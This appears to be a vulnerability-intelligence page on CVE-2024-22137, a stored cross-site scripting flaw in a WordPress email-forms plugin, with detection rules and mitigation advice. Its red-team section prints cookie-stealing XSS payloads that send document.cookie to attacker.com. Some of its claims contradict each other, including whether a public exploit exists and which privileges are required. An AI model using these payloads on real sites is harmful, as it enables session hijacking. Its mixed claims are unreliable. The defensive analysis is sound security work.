☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mailmunch logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22137

CVE-2024-22137 Cross-Site Scripting in Mailmunch
📅 PUBLISHED: 2024-01-12 23:20 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
1.9× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22137 is a Stored Cross-Site Scripting (XSS) vulnerability in the Constant Contact Forms by MailMunch WordPress plugin, affecting versions through 2.0.11. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into form submissions or plugin settings, which are then stored and executed in the browsers of other users (including administrators) when they view the affected pages. The vulnerability arises from improper neutralization of user-supplied input during web page generation.

As this is a WordPress plugin vulnerability, the attack surface is limited to WordPress sites running the vulnerable plugin. The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing network access, low attack complexity, required user interaction, and a scope change. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, users must consider removing or disabling the plugin to mitigate risk. The lack of a patch increases supply chain risk for any site relying on this plugin for form management.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – An unauthenticated attacker can trigger the stored XSS if they can submit a form, but exploitation typically requires a user to interact with the malicious content.
  • User Interaction (UI): Required – The victim must visit a page containing the stored payload.
  • Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low – Limited information disclosure possible.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation (e.g., session hijacking, defacement) elevate the risk for affected WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the constant-contact-forms-by-mailmunch plugin, which integrates Constant Contact email marketing forms into WordPress. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it on the page. This allows an attacker to inject malicious JavaScript code into form fields (e.g., name, email, custom fields) or plugin settings.

Attack Flow:

  1. An attacker with contributor-level access (or higher) creates or edits a form using the plugin.
  2. The attacker inserts a malicious payload into a form field, such as: <script>alert('XSS')</script>.
  3. The plugin stores this payload in the WordPress database without sanitization.
  4. When an administrator or other user views the form submissions page or the form itself, the payload executes in their browser.
  5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely contains code similar to:

Vulnerable Code (PHP):

// In a template or shortcode handler
echo '<div class="form-field">' . $user_input . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="form-field">' . esc_html( $user_input ) . '</div>';

The patched version would use esc_html() or wp_kses_post() to neutralize HTML and JavaScript before rendering.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A WordPress site with the vulnerable plugin (<= 2.0.11) installed and activated.
  • An account with at least Contributor role (or ability to submit forms if the plugin allows unauthenticated submissions).

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to the Constant Contact Forms editor (e.g., /wp-admin/admin.php?page=mailmunch-forms).
  3. Create a new form or edit an existing one.
  4. In a text field (e.g., "Name"), inject a payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Save the form.
  6. Wait for an administrator to view the form submissions or the form preview page.
  7. The payload executes, sending the admin's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)">

Blue Team (Defender)

Detection Steps:

  1. Monitor WordPress admin logs for unusual form creation or editing activity.
  2. Review form submissions for suspicious HTML/JavaScript content.
  3. Use the detection rules below to identify exploitation attempts.

Mitigation:

  • Disable or remove the plugin immediately.
  • If removal is not possible, use a Web Application Firewall (WAF) to block XSS payloads.
  • Restrict user roles to prevent contributors from editing forms.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available, but monitor for modified plugin files)
  • Network Indicators:
    • Outbound connections to attacker-controlled domains from WordPress admin pages.
    • HTTP requests containing <script> tags in form submission data.
  • Log Entries:
    • WordPress debug log entries showing unescaped output.
    • Web server logs with POST requests to /wp-admin/admin-ajax.php containing XSS payloads.
  • Database Indicators:
    • Rows in wp_postmeta or custom plugin tables containing JavaScript code.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Mailmunch {
    meta:
        description = "Detects stored XSS payloads in Constant Contact Forms by MailMunch plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22137"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_onerror = /<img[^>]+onerror\s*=/i
        $svg_onload = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Constant Contact Forms by MailMunch
id: cve-2024-22137
status: experimental
description: Detects stored XSS attempts via form submissions in the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=mailmunch_form_submit'
        cs-User-Agent|contains: 'Mozilla'
    condition: selection
falsepositives:
    - Legitimate form submissions with HTML content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22137 - Stored XSS in MailMunch Forms"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mailmunch_form_submit"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable or remove the Constant Contact Forms by MailMunch plugin from all WordPress installations.
  2. If the plugin is critical, restrict access to form editing to trusted administrators only.
  3. Implement a Web Application Firewall (WAF) with XSS filtering rules.

Long-Term Fix:

  • Monitor the plugin's official page for a patched version (>= 2.0.12). Once released, update immediately.
  • Consider switching to an alternative form plugin with active security support (e.g., Contact Form 7, Gravity Forms).

General Best Practices:

  • Regularly update all WordPress plugins and themes.
  • Use the principle of least privilege for user roles.
  • Enable WordPress automatic background updates for plugins.
  • Conduct periodic security audits of third-party plugins.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"constant-contact-forms-by-mailmunch"
http.html:"wp-content/plugins/constant-contact-forms-by-mailmunch"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22137/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.